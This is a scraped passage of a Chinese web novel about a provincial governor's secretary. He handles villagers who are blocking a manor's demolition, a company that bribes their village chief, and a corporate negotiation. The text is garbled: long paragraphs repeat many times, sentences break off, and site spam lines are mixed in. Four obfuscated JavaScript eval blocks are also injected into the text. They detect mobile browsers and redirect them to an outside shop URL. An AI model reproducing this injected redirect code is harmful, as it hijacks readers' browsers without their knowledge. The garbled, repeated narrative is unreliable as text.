几百号人堵在天湖庄园里面,我们的爆破拆除行动没办法继续。 您请跟孟省长请示一下,该如何处理?” 刘宝林语气凝重的将情况汇报给了李承,在他的电话那边,李承能听到不少嘈杂的**之声。 “这些村民为什么**?”李承问。 许梦只说有村民**,但因为许梦的工作职位不同,她并不了解**的具体原因。 “天湖庄园属于南沟村的地界,也不知道这些村民从哪听到的消息,说是天湖庄园准备捐给他们村民集体。 所以才爆发了这次**行动。”刘宝林道。 他作为市长,面临这种情况,他的权限就可以做出解决办法。 但是,因为孟良德关注此事,还给他下了死命令,命令他一周内拆除。 所以,他必须将情况汇报给孟良德。 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168271|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 这样一来,就算今天拆除不了,孟良德也不会责备到他身上,属于提前避险。 “村民的态度怎么样?村**和村长有没有到场劝说。”李承追问。 他需要了解全部的情况,这样,孟良德问起来,他也能对答。 “村民态度强硬,摆出了誓与天湖庄园共生死的架势,村长和村**的话没用。”刘宝林说。 “好的刘市长,我会如实汇报给孟省长。” 挂断电话,李承敲响了省长办公室的门,走了进去。 李承认为,省领导内部已经达成了共识,决定要拆除天湖庄园,这件事不会再有什么差错。 但令李承意外的是,花海集团那边贼心不死,动用了村民的力量。 天湖庄园,李美娇愿意自掏腰包,拿出一个亿的租金继续使用。 如果天湖庄园捐赠给村民集体。 一个村子一百户左右,每户每年就能分到百万租金。 这种天上掉下来的馅饼,一夜暴富的机会,换做任何百姓都没办法抵御这种诱惑力。 这个丰厚的报酬,也值得他们拿命去保住。 只要保住天湖庄园,以后这个村子,基本就能成为东江第一富村。 别说是村民,就算是村干部,宁可丢掉职位,也会想保住天湖庄园这颗摇钱树。 毕竟,村干部的家,也属于南沟村的一户。 同样可以分到这笔巨款! 第265章 反抗情绪 “省长,南沟村上百位村民在天湖庄园**,爆破拆除无法正常进展。 是花海集团做出了反扑,他们承诺将天湖庄园自愿赠予给南沟村的村民集体。 现在村民情绪激动,态度也十分强硬,刘市长请示您的指示。 李承将情况全部汇报给了孟良德。 孟良德刚刚开完常务会议,正坐在椅子上休息。 听到李承的汇报后,眉头顿时蹙紧。 对于整个汉江市来说,天湖庄园拿出每年一个亿的租金,算不得什么。 但对于一个只有百余户的村子,每年一个亿,那就是天价。 “等下是不是还有一个专题推进会要开?孟良德沉默了足足半分钟,这才开口。 “是的。李承点头。 “这样,你去一趟天湖庄园现场,把我的指示传达到位。 第一,不能与民众发生正面冲突,要以安抚为主。 第二,拆除天湖庄园是底线,必须执行,绝不向非法分子低头! 孟良德沉声吩咐:“如果村民情绪激动,可以考虑延缓拆除。 这个问题很棘手,棘手到,即便是孟良德也没有一个妥善解决的办法。 “好的省长。 李承没有坐省长的二号专车,这台车,未经省长许可,可不是他随意能够调动的。 一般孟良德让他使用二号专车,是为了向对方表示省长重视态度。 显然,天湖庄园这件事,并没有达到那种程度。 但李承还是可以从小车班,调动一台公务车使用。 将近一个小时,汽车才上了凤凰岭的路,那条小路的门阀和保安亭,已经被拆除。 抵达天湖庄园的正门前,李承下了车。 不远处,政府部门正在跟村民集体进行交涉。 除了政府工作人员,还有拆迁队,媒体,以及数十位警员力量。 李承的目光从这些人身上转移后,落在了旁边不远处的一台宾利车上。 玻璃贴了防窥膜,李承看不见车内的人。 但这台车李承见过,是李美娇的座驾。 李承盯着这台车十几秒钟,车门这才缓缓打开,李美娇修长的大腿率先迈了出来。 随后,整个人也从车内走出。 “李秘书,您也到了呀,孟省长没来? 李美娇带了一个大框墨镜,将她那张娇小的脸遮住小部分。 她脸上挂着得意的笑意,冲李承挥了挥手。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “省长有公务在身这种事还没必要劳烦他亲自大驾。” 李承从口袋里摸出香烟点燃了一支后这才迈步朝李美娇走去。 “李总好手段呀为了保证这天湖庄园你也是费尽苦心。”李承吸了一口烟望着混乱人群后方那豪华的建筑群说。 “这里有太多美好的回忆当然不舍得拆。” 李美娇耸了耸肩声音温柔:“当然我这份美好的回忆不是我的舍不得拆它的人也不只是我。” 她这话是暗指那些在天湖庄园享受过公关服务的官员们。 “舍不舍得都要拆这是底线。”李承道。 “随便呀我也只是过来看个热闹至于能不能拆我没意见。” 李美娇抬起手指了指那些群情激愤的村民:“看他们反正送给他们了我无所谓。” “嗯。” 李承点了一下头他就是一个秘书也没必要跟李美娇放什么狠话。 “你不是说不过来了吗?” 这时许梦看到了李承也走了过来。 “老板的意思。” 李承跟许梦解释了一句对李美娇说:“李总那你继续观赏我过去传达一下省长的指示。” “李秘书等一下。” 李美娇喊住了李承她笑眯眯地盯着李承和许梦说:“孟省长调任回京是大概率事件。 李秘书汉江市纪委第三监督检查室缺一个主任有没有兴趣?” 纪委绝对是实权部门。 尤其是监督检查室这是专门调查市核心部门的廉政问题属于纪委内部岗位中的第一梯队。 从省长秘书下来能到纪委当主任同样是一份好差事。 说没兴趣是假的。 如果是孟良德准备给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173583|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排到纪委监督监察室当主任他会非常乐意。 可这话是从李美娇口中说出来的。 李承相信以李美娇的人脉能力能帮他坐上这个位置。 但李美娇是商人商人是讲利益的。 天底下 “没有兴趣。” 李承没有丝毫的犹豫回答了李美娇。 说完他径直走向了人群。 “老公孟省长真的要回京了吗?”许梦走在李承的旁边低声询问。 “文件没下来之前就是假消息。”李承严肃回答。 闻言许梦也没再多问。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 可她还是不由得担心起来。 她既担心李承,也担心自己。 她的工作能够这般顺风顺水,她清楚,这是李承职位的功劳。 “刘市长。” 刘宝林正在跟下属人员做交代,李承走到他身边,打了声招呼。 “李秘书,你过来了。” 刘宝林下意识地看了一眼李承的身后,没看到孟良德的身影后,他问:“省长有什么指示?” “省长说,不能与民众发生冲突,但天湖庄园,一定要拆。”李承简单地将指示传达到位。 “唉” 听到这个指示,刘宝林叹了一口气:“我是想拆,可如果不采取强硬手段,这怎么拆呀?” 他这是抱怨,也是无奈。 这对于他来说,是一个死题。 从安抚的角度来看,换做任何人,面临那么大笔的资金诱惑,也不能向政府妥协。 可他们又不能**,那样,会引发群众的激烈反应,一个不慎,都可能闹出**件。 “这些村民总不能每天二十四小时都在这里盯着吧?”李承随口道。 “李秘书,你跟我过来看一下。” 刘宝林苦笑一声,他率先迈步,朝着人群最前方走去。 他需要让李承亲身感受到这些村民的激烈反应和**措施,李承回去后,才能更切实地汇报。 以此让孟良德知晓,这件事的难办程度. 第266章 反抗情绪二 “今天就是天王老子来了,天湖庄园你们也别想拆!” “**,老子就把话放在这里,想拆天湖庄园,除非你们从老子的尸体上踩过去!” “对,有种你们就直接点**!把我们也给炸死!” 村民们手里拿着锄头,铁锹,镰刀等农耕用具作为武器,摆出一副捍卫到死的架势。 分管凤凰岭地界的滨江区,区长韩民正苦口婆心地劝说着什么。 可他的话,在这些群情激愤的村民声浪中,直接被淹没。 也没人在意他说什么。 而在政府人员和村民之间,是一众严阵以待的警员,各个手持防爆盾,防爆腰叉,警棍等武器,随时做好防御准备。 “大家听我说。” 李承和刘宝林走到人群前方,刘宝林双手虚压,想要让这些村民们安静下来。 可这位市长的话,却根本无人理睬。 “大家听我说,天湖庄园是毁林违建,是违法违规的建筑,必须要拆除,这是大势所趋。 你们千万不要被某些黑心商人给蒙蔽了双眼,他们是在利用你们。 你们抓紧回家,不要耽误政府部门的正常工作.” 刘宝林扯着嗓子,大声喊道。 “滚他妈犊子吧,黑心的是你们这些当官的!” “别说这些屁话,天湖庄园经营这么多年,我们举报那么多次你们不管,现在人家要捐给我们村,你们想拆了,你们就是见不到我们老百姓过得好!” “我们不管你们是多大的官,想拆这,我们就跟你们拼了,有本事你就弄死我们!” “.” 各种各样的骂声,反对声音,此起彼伏。 “反正天湖庄园也有住的地方,咱们就住在这不走了,我就不信他们敢把咱们都炸死!” “对,就住着!” “这里吃的喝的都有,咱们就住这不走了!” “谁家里有老人孩子的,都叫过来住,我就不信他们敢动老人和孩子!” 听到这些话,李承心情不由沉闷下来。 他还想着,趁这些村民们晚间不在天湖庄园,开启**。 这么一看,他的想法简直是痴心妄想,天真的可爱。 南沟村的这些村民是准备举家搬到这里,如此一来,**基本不可能。 “李秘书,不是我们不想拆,你看这种情况,我们也实在不办法。”刘宝林无奈地对李承说。 这种**,是政府最怕的麻 听说看这本书的人都是很幸运的,分享后你的运气会更棒 烦。 尤其是这种意见无法达成一致共识的情况,最让人头疼。 “嗯,情况我了解了。 李承点了点头,他看了一眼时间,这个时间孟良德应该开完了会议,他把拨通电话。 ‘嘟嘟..嘟.’ ‘对不起,您拨打的电话无人接听,请稍后再拨.’ 没接,就代表省长的会议还未结束。 李承也不急,就在旁边耐心等待起来。 ‘嗡嗡嗡’ 过了二十分钟,手机震动起来,是孟良德回的电话。 “省长。 “嗯,那边什么状况?孟良德问。 “情况很艰难,这些村民摆出了与天湖庄园共生死的架势,还说要举家搬到天湖庄园里面去住。 想要通过安抚的方式解决,目前来看,基本没有谈的希望。李承一五一十地说明情况。 闻言,电话那边陷入了短暂的沉默。 十几秒后,孟良德说:“对天湖庄园进行断水断电,村民们自带物资不要阻拦,但禁止任何运输车辆进入,进行全天候的**。 “明白,省长。 挂断电话,李承走到刘宝林身边,将孟良德的指示传达到位。 “行,我这就安排。刘宝林点了点头,道。 “嗯,安排车辆进入,将里面的煤炭全部清空。 水电是生活必不可缺的刚需。 而天湖庄园的供暖问题,主要是锅炉烧煤的个体供暖。 断了运输车进入,就等于断了天湖庄园的供暖。 孟良德是想通过断水断电断供暖的方式,逼着这些村民离开。 那么,李承就要将这个指示贯彻到位。 眼看就要开春了,天也要暖和下来了,天湖庄园存的煤,或许能坚持到天暖。 所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173584|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要将预存煤炭搬空。 “好。 将吩咐传达后,李承点燃一根香烟,望着那些坚持**的村民。 这些人中,不乏一些老弱妇孺,以及残障人士。 断水断电断暖气,虽然背离了人道主义。 可这也是无奈之举。 他们坚持要维护天湖庄园,孟良德坚持要拆除天湖庄园,这是典型的敌我矛盾! 面对敌我矛盾,就要通过斗争的方式解决。 晚上回到家。 许梦一脸沮丧地坐在沙发上,她长长叹了一口气:“唉,这该怎么办呀? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “怎么了?” 李承坐在她身边,将她搂在自己的怀里。 “宝宝,你说天湖庄园一时半会儿还能拆吗?”许梦担忧地问。 “拆是肯定的,不过是时间问题。” 其实,对于天湖庄园能不能拆除,李承也没有什么信心。 这些村民选择了死守策略,政府没有办法通过强制的方式进行拆迁。 孟良德决心要拆,可等孟良德真的回京任职后,新任省长还会拆吗? **马洪波本就不赞同以爆破拆除的方式解决问题。 只要孟良德在任期间没有解决这个问题,换了一个省长,多半,这件事会以不了了之收场。 “那些村民属于妨碍公务呀,就不能给他们抓起来吗?只要控制一天的时间,就能完成拆除。”许梦说。 “不行。” 对于这个问题,李承给出了坚决否认的态度。 妨碍公务的名义去扣押,合法合规。 可是,这些村民如果出现了武力反抗的举动,难道政府也要用武力方式**吗? 万一出现了人命案,事情就闹大了。 “唉我都已经跟粉丝夸下海口了,说肯定可以拆除,段子内容也都想好了。 本来我还信心满满,认为省领导都决定了,不会有什么差错,结果这帮村民怎么这样呀。” 许梦忍不住地埋怨起来。 “有钱能使鬼推磨,换位思考一下,也能理解他们的。” 第267章 三个要求 南沟村,一处小二楼。 “毕总,茶不好,您别介意哈。” 村长王柱给毕阳泡了一杯他家里最好的茶,殷勤地奉上。 “放那吧。” 毕阳没有去接。 茶的坏好不谈,单单是王柱家的茶杯,他就嫌弃得不想用。 “哎,好。” 王柱像条哈巴狗似的,点头答应着。 “王村长,你做得很不错,集团对你很满意。” 毕阳说着,拉开手提包的拉链,从里面拿出来一捆现金,丢向了王柱。 王柱连忙伸出双手,将这十万块钱接住。 脸上贪婪的笑容愈发灿烂,嘴角几乎要列到耳根:“谢谢毕总,这都是我应该做的,能给集团效率,是我的荣幸,嘿嘿嘿.” “呵呵.” 看着王柱见钱眼开的卑微模样,毕阳不屑地笑了一声。 他再次将手伸进包里,又拿出了一捆现金:“王村长,还有一件事要你帮忙。” “您尽管吩咐,我上刀山,下火海在所不辞,就算是这个村长我不干了,我也愿为毕总和集团效犬马之劳。” 王柱的目光紧紧盯着那捆十万块钱,忍不住的吞咽着口水。 他这个村长,平日里虽然能捞到一些油水,但数额十分有限,也就能满足他的胡吃海喝。 像毕阳这种大手笔,他还从没见过。 “政府一个给天湖庄园停水停电,我要你在晚上搞出点事情来,最好是因为停电问题,出个人命。 比如某个老人下楼摔倒之类的。”毕阳道。 政府部门停水停电,是为了逼迫这些村民回家住。 但这却让花海集团看到了搞事的机会。 因为停电问题,老人下楼不慎踩空摔死,村民在因此事一闹,这个责任,就会由下达命令的孟良德担着。 “闹出人命,这恐怕.” 听到要出人命案,王柱难为情地摇了摇头。 他贪财,但如果要因为钱让他**,他不敢做。 “也不一定非要出人命,搞得严重一些,事情闹大一些就行。” 毕阳说着,又从包里拿出十万块钱:“这二十万只是定金,事情办得好,我还会再付你三十万的尾款,一共五十万,怎么样?” “这”王柱还是迟疑。 “没关系,既然王村长为难,我就换一个人做,相信你们村里,应该很多人会愿意。” 说着,毕阳就准备将钱收起来。 见状,王柱不再犹豫,他一把按住那两捆钞票:“毕总,这事我能做,保证给你做得漂漂亮亮的。” “嗯,那就辛苦王村长了。” 见识过孟良德的坚决和手段。 赵允和她的股东们产生了分歧,包括她的一致行动人里,也出现了不少反对的声音。 这些反对和分歧,主要因为股票市场。 因为政府的干涉,主力资金看到机会,选择恐慌性的砸盘。 主力的出逃,导致股民跟着恐慌,外加各种股票软件上的水军评论,让散户也纷纷对华天精工失去信心。 华天精工老板准备跑路,公司业绩暴雷,大概率会被ST的虚假消息,满天都是。 这是主力砸盘的方式,他们通过这种手段,明抛暗买,做低成本,做空股价。 公司市值,在主力资金的砸盘下,不到十个工作日的时间里,缩水了百分之三十。 严重影响了公司股东们的个人财富。 在股东和政府的联合施压下,赵允挣扎了几天,最终选择了妥协。 她主动联系了分管国资委的副省长谢威,进行了谈判。 而这次谈判,她也放低了态度。 这天下午。 赵允在谢威的陪同下,来到省长办公室,跟孟良德进行最后一次的谈判。 “孟省长,我和我的一致行动人,愿意支持您的工作,维护国资安全底线。” 赵允坐下后,她也不再弯弯绕绕,直接挑明。 她很清楚,任何的弯弯绕绕在孟良德这里,根本不管用。 “嗯。” 孟良德微微点头,等待赵允的下文。 “但我希望,政府能给到华天精工一些较为实在的优惠。”赵允道。 坐在一旁的李承,看着赵允如今的状态。 不由觉得一阵好笑,心中暗道:既然想要条件,早干什么去了? 如果赵允在取得略微优势时,主动放下身段跟孟良德谈。 孟良德会在维持底线之上,给她一些优惠和好处。 可现在,她一定被政府接近打垮,再来谈条件,大势已去了! “你说。” 孟良德抿了一口茶,淡淡地说。 “我只有三点要求,第一,我想让政府出面介入,完成华天精工对裕华制造的收购。 第二,恢复华天精工的正常经营,融资和资本运作。 第三,要保证华天精工的**法律安全。” 赵允提出了她的 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173585|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 如果孟良德跟她达成了这个协议,赵允仍是这场闹剧的最大受益者。 既给集团争取下一个项目,又在那些资本操作下,增持了股份。 “好啊,这些我都可以答应你,不过是有前提的。”孟良德放下茶杯,眼神犀利地盯着赵允。 “您说。” “你有三个要求,我也提三个条件! 第一,国资股权锁死,第二,国资拥有一票否决权,第三,国资要对华天精工进行经营监管!” 条件,她美眸认真地盯着孟良德,说:“省长,我守住了您的底线。 这三点要求,也是我的底线!” 这番话中,并没有讨价还价的意思。 虽带着些许的威胁,却也是她这位新任董事长最后的体面。 她闹了这么一出,如果不给集团争取到一些好处,股东和一致行动人都会对她有很大的意见。 她需要通过完成裕华制造的收购,给公司创造利好,来给股东们一个合理的答复。 而恢复华天精工的正常经营,这是最基本的,哪怕赵允不提,只要她肯放弃突破国资安全底线的想法,政府也会让华天精工恢复运转。 至于第三点,这是她的自保行为。 私募穿透之下,关于伟业资本的根源问题浮出水面,这其中,是存在一些违规操作的。 她所谓的**法律安全,就是说,让政府不再追究过往的责任和问题。 